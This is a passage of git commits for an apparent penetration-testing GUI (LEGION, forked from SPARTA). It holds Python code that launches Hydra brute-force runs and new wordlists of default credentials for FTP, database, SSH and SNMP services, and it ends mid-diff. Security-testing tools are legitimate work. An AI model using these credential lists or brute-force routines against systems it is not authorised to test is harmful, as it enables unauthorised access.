something selected + for row in range(self.ToolsTableModel.rowCount("")): + tools.append(self.ToolsTableModel.getToolNameForRow(row)) + + if self.tool_clicked in tools: # the tool we previously clicked may not be visible anymore (eg: due to filters) + row = self.ToolsTableModel.getRowForToolName(self.tool_clicked) + else: + row = 0 # or select the first row + + if not row == None: + self.ui.ToolsTableView.selectRow(row) + self.toolsTableClick() + + #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### + + def updateServiceTableView(self, hostIP): + headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + self.ServicesTableModel = ServicesTableModel(self.controller.getPortsAndServicesForHostFromDB(hostIP, self.filters), headers) + self.ui.ServicesTableView.setModel(self.ServicesTableModel) + + for i in range(0, len(headers)): # reset all the hidden columns + self.ui.ServicesTableView.setColumnHidden(i, False) + + for i in [0,1,5,6,8,10,11]: # hide some columns + self.ui.ServicesTableView.setColumnHidden(i, True) + + self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) + self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) + + def updatePortsByServiceTableView(self, serviceName): + headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + self.PortsByServiceTableModel = ServicesTableModel(self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.filters), headers) + self.ui.ServicesTableView.setModel(self.PortsByServiceTableModel) + + for i in range(0, len(headers)): # reset all the hidden columns + self.ui.ServicesTableView.setColumnHidden(i, False) + + for i in [2,5,6,7,8,10,11]: # hide some columns + self.ui.ServicesTableView.setColumnHidden(i, True) + + self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) + self.ui.ServicesTableView.horizontalHeader().resizeSection(0,165) # resize IP + self.ui.ServicesTableView.horizontalHeader().resizeSection(1,65) # resize port + self.ui.ServicesTableView.horizontalHeader().resizeSection(3,100) # resize protocol + self.PortsByServiceTableModel.sort(0, Qt.DescendingOrder) # sort by IP by default (override default) + + def updateInformationView(self, hostIP): + + if hostIP: + host = self.controller.getHostInformation(hostIP) + + if host: + states = self.controller.getPortStatesForHost(host.id) + counterOpen = counterClosed = counterFiltered = 0 + + for s in states: + if s[0] == 'open': + counterOpen+=1 + elif s[0] == 'closed': + counterClosed+=1 + else: + counterFiltered+=1 + + if host.state == 'closed': # check the extra ports + counterClosed = 65535 - counterOpen - counterFiltered + else: + counterFiltered = 65535 - counterOpen - counterClosed + + self.hostInfoWidget.updateFields(host.status, counterOpen, counterClosed, counterFiltered, host.ipv4, host.ipv6, host.macaddr, host.os_match, host.os_accuracy) + + def updateScriptsView(self, hostIP): + headers = ["Id", "Script", "Port", "Protocol"] + self.ScriptsTableModel = ScriptsTableModel(self,self.controller.getScriptsFromDB(hostIP), headers) + self.ui.ScriptsTableView.setModel(self.ScriptsTableModel) + + for i in [0,3]: # hide some columns + self.ui.ScriptsTableView.setColumnHidden(i, True) + + scripts = [] # ensure that there is always something selected + for row in range(self.ScriptsTableModel.rowCount("")): + scripts.append(self.ScriptsTableModel.getScriptDBIdForRow(row)) + + if self.script_clicked in scripts: # the script we previously clicked may not be visible anymore (eg: due to filters) + row = self.ScriptsTableModel.getRowForDBId(self.script_clicked) + + else: + row = 0 # or select the first row + + if not row == None: + self.ui.ScriptsTableView.selectRow(row) + self.scriptTableClick() + + def updateScriptsOutputView(self, scriptId): + self.ui.ScriptsOutputTextEdit.clear() + lines = self.controller.getScriptOutputFromDB(scriptId) + for l in lines: + self.ui.ScriptsOutputTextEdit.insertPlainText(l.output.rstrip()) + + # TODO: check if this hack can be improved because we are calling setDirty more than we need + def updateNotesView(self, hostid): + self.lastHostIdClicked = str(hostid) + note = self.controller.getNoteFromDB(hostid) + + saved_dirty = self.dirty # save the status so we can restore it after we update the note panel + self.ui.NotesTextEdit.clear() # clear the text box from the previous notes + + if note: + self.ui.NotesTextEdit.insertPlainText(note.text) + + if saved_dirty == False: + self.setDirty(False) + + def updateToolHostsTableView(self, toolname): + headers = ["Progress","Display","Pid","Name","Action","Target","Port","Protocol","Command","Start time","OutputFile","Output","Status","Closed"] + self.ToolHostsTableModel = ProcessesTableModel(self,self.controller.getHostsForTool(toolname), headers) + self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) + + for i in [0,1,2,3,4,7,8,9,10,11,12,13]: # hide some columns + self.ui.ToolHostsTableView.setColumnHidden(i, True) + + self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column + + ids = [] # ensure that there is always something selected + for row in range(self.ToolHostsTableModel.rowCount("")): + ids.append(self.ToolHostsTableModel.getProcessIdForRow(row)) + + if self.tool_host_clicked in ids: # the host we previously clicked may not be visible anymore (eg: due to filters) + row = self.ToolHostsTableModel.getRowForDBId(self.tool_host_clicked) + + else: + row = 0 # or select the first row + + if not row == None and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + self.ui.ToolHostsTableView.selectRow(row) + self.toolHostsClick() + + + def updateRightPanel(self, hostIP): + self.updateServiceTableView(hostIP) + self.updateScriptsView(hostIP) + self.updateInformationView(hostIP) # populate host info tab + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + + if hostIP: + self.updateNotesView(self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(hostIP))) + else: + self.updateNotesView('') + + def displayToolPanel(self, display=False): + size = self.ui.splitter.parentWidget().width() - 210 - 24 # note: 24 is a fixed value + if display: + self.ui.ServicesTabWidget.hide() + self.ui.splitter_3.show() + self.ui.splitter.setSizes([210,0,size]) # reset hoststableview width + + if self.tool_clicked == 'screenshooter': + self.displayScreenshots(True) + else: + self.displayScreenshots(False) + #self.ui.splitter_3.setSizes([275,size-275,0]) # reset middle panel width + + else: + self.ui.splitter_3.hide() + self.ui.ServicesTabWidget.show() + self.ui.splitter.setSizes([210,size,0]) + + def displayScreenshots(self, display=False): + size = self.ui.splitter.parentWidget().width() - 210 - 24 # note: 24 is a fixed value + + if display: + self.ui.DisplayWidget.hide() + self.ui.ScreenshotWidget.scrollArea.show() + self.ui.splitter_3.setSizes([275,0,size-275]) # reset middle panel width + + else: + self.ui.ScreenshotWidget.scrollArea.hide() + self.ui.DisplayWidget.show() + self.ui.splitter_3.setSizes([275,size-275,0]) # reset middle panel width + + def displayAddHostsOverlay(self, display=False): + if display: + self.ui.addHostsOverlay.show() + self.ui.HostsTableView.hide() + else: + self.ui.addHostsOverlay.hide() + self.ui.HostsTableView.show() + + #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### + + def updateProcessesTableView(self): + headers = ["Progress","Display","Pid","Name","Tool","Host","Port","Protocol","Command","Start time","End time","OutputFile","Output","Status","Closed"] + self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, True), headers) + self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) + + for i in [1,2,3,6,7,8,11,12,14]: # hide some columns + self.ui.ProcessesTableView.setColumnHidden(i, True) + + self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,210) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(5,135) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(9,165) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(10,165) + self.updateProcessesIcon() + + def updateProcessesIcon(self): + if self.ProcessesTableModel: + for row in range(len(self.ProcessesTableModel.getProcesses())): + status = self.ProcessesTableModel.getProcesses()[row].status + + if status == 'Waiting': + self.runningWidget = ImagePlayer("./images/waiting.gif") + elif status == 'Running': + self.runningWidget = ImagePlayer("./images/running.gif") + elif status == 'Finished': + self.runningWidget = ImagePlayer("./images/finished.gif") + elif status == 'Crashed': # TODO: replace gif? + self.runningWidget = ImagePlayer("./images/killed.gif") + else: + self.runningWidget = ImagePlayer("./images/killed.gif") + + self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), self.runningWidget) + + #################### GLOBAL INTERFACE UPDATE FUNCTION #################### + + # TODO: when nmap file is imported select last IP clicked (or first row if none) + def updateInterface(self): + self.ui_mainwindow.show() + + if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Hosts': + self.updateHostsTableView() + self.lazy_update_services = True + self.lazy_update_tools = True + + if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Services': + self.updateServiceNamesTableView() + self.lazy_update_hosts = True + self.lazy_update_tools = True + + if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + self.updateToolsTableView() + self.lazy_update_hosts = True + self.lazy_update_services = True + + #################### TOOL TABS #################### + + # this function creates a new tool tab for a given host + # TODO: refactor/review, especially the restoring part. we should not check if toolname=nmap everywhere in the code + # ..maybe we should do it here. rethink + def createNewTabForHost(self, ip, tabtitle, restoring=False, content='', filename=''): + + if 'screenshot' in str(tabtitle): # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. + tempWidget = ImageViewer() + tempWidget.setObjectName(str(tabtitle)) + tempWidget.open(str(filename)) + tempTextView = tempWidget.scrollArea + tempTextView.setObjectName(str(tabtitle)) + else: + tempWidget = QtGui.QWidget() + tempWidget.setObjectName(str(tabtitle)) + tempTextView = QtGui.QPlainTextEdit(tempWidget) + tempTextView.setReadOnly(True) + if self.controller.getSettings().general_tool_output_black_background == 'True': + p = tempTextView.palette() + p.setColor(QtGui.QPalette.Base, Qt.black) # black background + p.setColor(QtGui.QPalette.Text, Qt.white) # white font + tempTextView.setPalette(p) + tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + tempLayout = QtGui.QHBoxLayout(tempWidget) + tempLayout.addWidget(tempTextView) + + if not content == '': # if there is any content to display + tempTextView.appendPlainText(content) + + if restoring == False: # if restoring tabs (after opening a project) don't show the tab in the ui + tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabtitle)) + + hosttabs = [] # fetch tab list for this host (if any) + if str(ip) in self.hostTabs: + hosttabs = self.hostTabs[str(ip)] + + if 'screenshot' in str(tabtitle): + hosttabs.append(tempWidget.scrollArea) # add the new tab to the list + else: + hosttabs.append(tempWidget) # add the new tab to the list + + self.hostTabs.update({str(ip):hosttabs}) + + return tempTextView + + def closeHostToolTab(self, index): + currentTabIndex = self.ui.ServicesTabWidget.currentIndex() # remember the currently selected tab + self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + + currentWidget = self.ui.ServicesTabWidget.currentWidget() + if 'screenshot' in str(self.ui.ServicesTabWidget.currentWidget().objectName()): + dbId = int(currentWidget.property('dbId')) + else: + dbId = int(currentWidget.findChild(QtGui.QPlainTextEdit).property('dbId')) + + pid = int(self.controller.getPidForProcess(dbId)) # the process ID (=os) + + if str(self.controller.getProcessStatusForDBId(dbId)) == 'Running': + message = "This process is still running. Are you sure you want to kill it?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + if reply == QtGui.QMessageBox.Yes: + self.controller.killProcess(pid, dbId) + else: + return + + # TODO: duplicate code + if str(self.controller.getProcessStatusForDBId(dbId)) == 'Waiting': + message = "This process is waiting to start. Are you sure you want to cancel it?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + if reply == QtGui.QMessageBox.Yes: + self.controller.cancelProcess(dbId) + else: + return + + # remove tab from host tabs list + hosttabs = [] + for ip in self.hostTabs.keys(): + if self.ui.ServicesTabWidget.currentWidget() in self.hostTabs[ip]: + hosttabs = self.hostTabs[ip] + hosttabs.remove(self.ui.ServicesTabWidget.currentWidget()) + self.hostTabs.update({ip:hosttabs}) + break + + self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid + self.ui.ServicesTabWidget.removeTab(index) # remove the tab + + if currentTabIndex >= self.ui.ServicesTabWidget.currentIndex(): # select the initially selected tab + self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + else: + self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex) + + # this function removes tabs that were created when running tools (starting from the end to avoid index problems) + def removeToolTabs(self, position=-1): + if position == -1: + position = self.fixedTabsCount-1 + for i in range(self.ui.ServicesTabWidget.count()-1, position, -1): + self.ui.ServicesTabWidget.removeTab(i) + + # this function restores the tool tabs based on the DB content (should be called when opening an existing project). + def restoreToolTabs(self): + ### CHEETOS + return + tools = self.controller.getProcessesFromDB(self.filters, False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. + nbr = len(tools) # show a progress bar because this could take long + if nbr==0: + nbr=1 + progress = 100.0 / nbr + totalprogress = 0 + self.tick.emit(int(totalprogress)) + + for t in tools: + if not t.tabtitle == '': + if 'screenshot' in str(t.tabtitle): + imageviewer = self.createNewTabForHost(t.hostip, t.tabtitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) + imageviewer.setObjectName(str(t.tabtitle)) + imageviewer.setProperty('dbId', str(t.id)) + else: + self.createNewTabForHost(t.hostip, t.tabtitle, True, t.output).setProperty('dbId', str(t.id)) # True means we are restoring tabs. Set the widget's object name to the DB id of the process + + totalprogress += progress # update the progress bar + self.tick.emit(int(totalprogress)) + + def restoreToolTabsForHost(self, ip): + if (self.hostTabs) and (ip in self.hostTabs): + tabs = self.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs + for tab in tabs: + # do not display hydra and nmap tabs when restoring for that host + if not 'hydra' in tab.objectName() and not 'nmap' in tab.objectName(): + tabindex = self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) + + # this function restores the textview widget (now in the tools display widget) to its original tool tab (under the correct host) + def restoreToolTabWidget(self, clear=False): + if self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit) == self.ui.toolOutputTextView: + return + + for host in self.hostTabs.keys(): + hosttabs = self.hostTabs[host] + for tab in hosttabs: + if not 'screenshot' in str(tab.objectName()) and not tab.findChild(QtGui.QPlainTextEdit): + tab.layout().addWidget(self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit)) + break + + if clear: + if self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit): # remove the tool output currently in the tools display panel + self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit).setParent(None) + + self.ui.DisplayWidgetLayout.addWidget(self.ui.toolOutputTextView) + + #################### BRUTE TABS #################### + + def createNewBruteTab(self, ip, port, service): + self.ui.statusbar.showMessage('Sending to Brute: '+ip+':'+port+' ('+service+')', msecs=1000) + bWidget = BruteWidget(ip, port, service, self.controller.getSettings()) + bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) + self.ui.BruteTabWidget.addTab(bWidget, str(self.bruteTabCount)) + self.bruteTabCount += 1 # update tab count + self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) # show the last added tab in the brute widget + + def closeBruteTab(self, index): + currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab + self.ui.BruteTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + + if not self.ui.BruteTabWidget.currentWidget().pid == -1: # if process is running + if self.ProcessesTableModel.getProcessStatusForPid(self.ui.BruteTabWidget.currentWidget().pid)=="Running": + message = "This process is still running. Are you sure you want to kill it?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + if reply == QtGui.QMessageBox.Yes: + self.killBruteProcess(self.ui.BruteTabWidget.currentWidget()) + else: + return + + dbIdString = self.ui.BruteTabWidget.currentWidget().display.property('dbId') + if dbIdString: + if not dbIdString == '': + self.controller.storeCloseTabStatusInDB(int(dbIdString)) + + self.ui.BruteTabWidget.removeTab(index) # remove the tab + + if currentTabIndex >= self.ui.BruteTabWidget.currentIndex(): # select the initially selected tab + self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + else: + self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex) + + if self.ui.BruteTabWidget.count() == 0: # if the last tab was removed, add default tab + self.createNewBruteTab('127.0.0.1', '22', 'ssh') + + def resetBruteTabs(self): + count = self.ui.BruteTabWidget.count() + for i in range(0, count): + self.ui.BruteTabWidget.removeTab(count -i -1) + self.createNewBruteTab('127.0.0.1', '22', 'ssh') + + # TODO: show udp in tabtitle when udp service + def callHydra(self, bWidget): + if validateNmapInput(bWidget.ipTextinput.text()) and validateNmapInput(bWidget.portTextinput.text()) and validateCredentials(bWidget.usersTextinput.text()) and validateCredentials(bWidget.passwordsTextinput.text()): + # check if host is already in scope + if not self.controller.isHostInDB(bWidget.ipTextinput.text()): + message = "This host is not in scope. Add it to scope and continue?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.Yes) + if reply == QtGui.QMessageBox.No: + return + else: + print('Adding host to scope here!!') + self.controller.addHosts(str(bWidget.ipTextinput.text()), False, False) + + bWidget.validationLabel.hide() + bWidget.toggleRunButton() + bWidget.resetDisplay() # fixes tab bug + + hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), self.controller.getUserlistPath(), self.controller.getPasslistPath()) + bWidget.setObjectName(str("hydra"+" ("+bWidget.getPort()+"/tcp)")) + + hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) + if str(bWidget.ip) in self.hostTabs: + hosttabs = self.hostTabs[str(bWidget.ip)] + + hosttabs.append(bWidget) + self.hostTabs.update({str(bWidget.ip):hosttabs}) + + bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), 'tcp', unicode(hydraCommand), getTimestamp(True), bWidget.outputfile, bWidget.display) + bWidget.runButton.clicked.disconnect() + bWidget.runButton.clicked.connect(lambda: self.killBruteProcess(bWidget)) + + else: + bWidget.validationLabel.show() + + def killBruteProcess(self, bWidget): + dbId = str(bWidget.display.property('dbId')) + status = self.controller.getProcessStatusForDBId(dbId) + if status == "Running": # check if we need to kill or cancel + self.controller.killProcess(self.controller.getPidForProcess(dbId), dbId) + + elif status == "Waiting": + self.controller.cancelProcess(dbId) + self.bruteProcessFinished(bWidget) + + def bruteProcessFinished(self, bWidget): + bWidget.toggleRunButton() + bWidget.pid = -1 + + # disassociate textview from bWidget (create new textview for bWidget) and replace it with a new host tab + self.createNewTabForHost(str(bWidget.ip), str(bWidget.objectName()), restoring=True, content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) + + hosttabs = [] # go through host tabs and find the correct bWidget + if str(bWidget.ip) in self.hostTabs: + hosttabs = self.hostTabs[str(bWidget.ip)] + + if hosttabs.count(bWidget) > 1: + hosttabs.remove(bWidget) + + self.hostTabs.update({str(bWidget.ip):hosttabs}) + + bWidget.runButton.clicked.disconnect() + bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) + + def findFinishedBruteTab(self, pid): + for i in range(0, self.ui.BruteTabWidget.count()): + if str(self.ui.BruteTabWidget.widget(i).pid) == pid: + self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) + return + + def blinkBruteTab(self, bWidget): + self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor('red')) + for i in range(0, self.ui.BruteTabWidget.count()): + if self.ui.BruteTabWidget.widget(i) == bWidget: + self.ui.BruteTabWidget.tabBar().setTabTextColor(i, QtGui.QColor('red')) + return diff --git a/wordlists/ftp-default-userpass.txt b/wordlists/ftp-default-userpass.txt new file mode 100644 index 00000000..31fd65ca --- /dev/null +++ b/wordlists/ftp-default-userpass.txt @@ -0,0 +1,10 @@ +anonymous:anonymous +anonymous:sp@rta.com +admin:admin +admin:password +ftp:ftp +ftp:password +guest:guest +root:root +root:toor +test:test diff --git a/wordlists/mssql-default-userpass.txt b/wordlists/mssql-default-userpass.txt new file mode 100644 index 00000000..2be93b0f --- /dev/null +++ b/wordlists/mssql-default-userpass.txt @@ -0,0 +1,3 @@ +sa: +sa:sa +sa:password diff --git a/wordlists/mysql-default-userpass.txt b/wordlists/mysql-default-userpass.txt new file mode 100644 index 00000000..15a6647a --- /dev/null +++ b/wordlists/mysql-default-userpass.txt @@ -0,0 +1,3 @@ +root: +root:password +root:mysql diff --git a/wordlists/oracle-default-userpass.txt b/wordlists/oracle-default-userpass.txt new file mode 100644 index 00000000..124b5cf5 --- /dev/null +++ b/wordlists/oracle-default-userpass.txt @@ -0,0 +1,58 @@ +ADAMS:WOOD +ANONYMOUS:ANONYMOUS +BLAKE:PAPER +CCT:CCT +CLARK:CLOTH +CTXSYS:CTXSYS +CTXSYS:CHANGE_ON_INSTALL +DBSNMP:DBSNMP +DEMO:DEMO +DIP:DIP +DMSYS:DMSYS +EXFSYS:EXFSYS +JONES:STEEL +HR:HR +LBACSYS:LBACSYS +MDDATA:MDDATA +MDSYS:MDSYS +ODM:ODM +ODM_MTR:MTRPW +OE:OE +OLAPDBA:OLAPDBA +OLAPSVR:INSTANCE +OLAPSVR:OLAPSVR +OLAPSYS:MANAGER +OLAPSYS:OLAPSYS +ORDPLUGINS:ORDPLUGINS +ORDSERVER:ODS +ORDSYS:ORDSYS +OUTLN:OUTLN +PM:PM +QS:QS +RMAN:RMAN +SCOTT:TIGER +SCOTT:TIGGER +SH:SH +SYS:CHANGE_ON_INSTALL +SYS:INTERNAL +SYS:MANAGER +SYS:ORACLE +SYS:SYS +SYS:SYSPASS +SYS:manag3r +SYS:oracle8 +SYS:oracle9 +SYS:oracle8i +SYS:oracle9i +SYSMAN:OEM_TEMP +SYSTEM:SYSTEM +SYSTEM::CHANGE_ON_INSTALL +SYSTEM:MANAGER +TSMSYS:TSMSYS +WKADMIN:WKADMIN +WKPROXY:WKPROXY +WKSYS:WKSYS +WMSYS:WMSYS +WKUSER:WKUSER +WK_TEST:WK_TEST +XDB:CHANGE_ON_INSTALL diff --git a/wordlists/postgres-default-userpass.txt b/wordlists/postgres-default-userpass.txt new file mode 100644 index 00000000..8aa3b0e0 --- /dev/null +++ b/wordlists/postgres-default-userpass.txt @@ -0,0 +1,6 @@ +admin:admin +admin:password +postgres: +postgres:admin +postgres:password +postgres:postgres diff --git a/wordlists/snmp-default.txt b/wordlists/snmp-default.txt new file mode 100644 index 00000000..0575e194 --- /dev/null +++ b/wordlists/snmp-default.txt @@ -0,0 +1,196 @@ + +0 +0392a0 +1234 +2read +3com +3Com +3COM +4changes +access +adm +admin +Admin +administrator +agent +agent_steal +all +all private +all public +anycom +ANYCOM +apc +bintec +blue +boss +c +C0de +cable-d +cable_docsispublic@es0 +cacti +canon_admin +cascade +cc +changeme +cisco +CISCO +cmaker +comcomcom +community +core +CR52401 +crest +debug +default +demo +dilbert +enable +entry +field +field-service +freekevin +friend +fubar +guest +hello +hideit +host +hp_admin +ibm +IBM +ilmi +ILMI +intel +Intel +intermec +Intermec +internal +internet +ios +isdn +l2 +l3 +lan +liteon +login +logon +lucenttech +lucenttech1 +lucenttech2 +manager +master +microsoft +mngr +mngt +monitor +mrtg +nagios +net +netman +network +nobody +NoGaH$@! +none +notsopublic +nt +ntopia +openview +operator +OrigEquipMfr +ourCommStr +pass +passcode +password +PASSWORD +pr1v4t3 +pr1vat3 +private + private +Private +PRIVATE +private@es0 +Private@es0 +private@es1 +Private@es1 +proxy +publ1c +public + public +Public +PUBLIC +public@es0 +public@es1 +public/RO +read +read-only +readwrite +read-write +red +regional + +rmon +rmon_admin +ro +root +router +rw +rwa +sanfran +san-fran +scotty +secret +Secret +SECRET +Secret C0de +security +Security +SECURITY +seri +server +snmp +SNMP +snmpd +snmptrap +snmp-Trap +SNMP_trap +SNMPv1/v2c +SNMPv2c +solaris +solarwinds +sun +SUN +superuser +supervisor +support +switch +Switch +SWITCH +sysadm +sysop +Sysop +system +System +SYSTEM +tech +telnet +TENmanUFactOryPOWER +test +TEST +test2 +tiv0li +tivoli +topsecret +traffic +trap +user +vterm1 +watch +watchit +windows +windowsnt +workstation +world +write +writeit +xyzzy +yellow diff --git a/wordlists/ssh-password.txt b/wordlists/ssh-password.txt new file mode 100644 index 00000000..ac17824e --- /dev/null +++ b/wordlists/ssh-password.txt @@ -0,0 +1,2 @@ +password +p@55w0rd diff --git a/wordlists/ssh-user.txt b/wordlists/ssh-user.txt new file mode 100644 index 00000000..4df966c9 --- /dev/null +++ b/wordlists/ssh-user.txt @@ -0,0 +1,5 @@ +root +sysop +admin +admnistrator +superuser From 2708a1286b4f5f4d20edd6d81f69f59cc3ee21d3 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 19 Sep 2018 04:11:14 -0500 Subject: [PATCH 002/450] Update README.md --- README.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 2179c978..a1369759 100644 --- a/README.md +++ b/README.md @@ -13,11 +13,21 @@ Based off Sparta by SECFORCE. Runs on Ubuntu, and Windows Subsystem for Linux +Ported from Python2.7 to Python 3.5+ + +Removed all Elixir crustiness + Requirements ---- -Todo +Ubuntu or variant or WSL (Windows Subsystem for Linux) +Python 3.5+ +PyQT4 +SQLAlchemy +six +hydra +nmap Installation ---- From 0ef41a0e83ea00f023d77ea43b560adee83d8eac Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 19 Sep 2018 08:13:40 -0500 Subject: [PATCH 003/450] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a1369759..bc753df4 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -LEGION 0.1.0 (http://gvit.io) +LEGION 0.1.0 (https://govanguard.io) == Authors: From 4a5c8dcd10c3091ec552ba208b1d9600409a666b Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 19 Sep 2018 09:33:02 -0500 Subject: [PATCH 004/450] More renaming and icon --- app/auxiliary.py | 6 +- app/hostmodels.py | 4 +- app/logic.py | 32 +++--- app/processmodels.py | 4 +- app/scriptmodels.py | 4 +- app/servicemodels.py | 4 +- app/settings.py | 4 +- controller/controller.py | 4 +- db/database.py | 7 +- db/tables.py | 196 ---------------------------------- images/icons/logo.png | Bin 0 -> 678 bytes images/icons/logo_big.png | Bin 0 -> 33595 bytes images/icons/logo_small.png | Bin 0 -> 7990 bytes legion.py | 8 +- ui/dialogs.py | 4 +- ui/gui.py | 4 +- ui/{sparta.qss => legion.qss} | 0 ui/settingsdialogs.py | 4 +- ui/view.py | 8 +- 19 files changed, 47 insertions(+), 246 deletions(-) delete mode 100644 db/tables.py create mode 100644 images/icons/logo.png create mode 100644 images/icons/logo_big.png create mode 100644 images/icons/logo_small.png rename ui/{sparta.qss => legion.qss} (100%) diff --git a/app/auxiliary.py b/app/auxiliary.py index 2346d3ae..e0066d41 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) +LEGION 0.1.0 (https://govanguard.io) +Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -351,7 +351,7 @@ def display(self): ### VALIDATION FUNCTIONS ### # TODO: should probably be moved to a new file called validation.py -def sanitise(string): # this function makes a string safe for use in sql query. the main point is to prevent sparta from breaking, not so much SQLi as such. +def sanitise(string): # this function makes a string safe for use in sql query. the main point is to prevent us from breaking, not so much SQLi as such. s = string.replace('\'', '\'\'') return s diff --git a/app/hostmodels.py b/app/hostmodels.py index a8868690..ff855b2c 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) +LEGION 0.1.0 (https://govanguard.io) +Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/app/logic.py b/app/logic.py index bcaaeed1..8d797024 100644 --- a/app/logic.py +++ b/app/logic.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) +LEGION 0.1.0 (https://govanguard.io) +Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -30,14 +30,14 @@ def createTemporaryFiles(self): self.istemp = False # indicates that file is temporary and can be deleted if user exits without saving print(self.cwd) - tf = tempfile.NamedTemporaryFile(suffix=".sprt",prefix="sparta-", delete=False, dir="./tmp/") # to store the database file - self.outputfolder = tempfile.mkdtemp(suffix="-tool-output",prefix="sparta-", dir="./tmp/") # to store tool output of finished processes - self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="sparta-", dir="./tmp/") # to store tool output of running processes + tf = tempfile.NamedTemporaryFile(suffix=".ldb",prefix="legion-", delete=False, dir="./tmp/") # to store the database file + self.outputfolder = 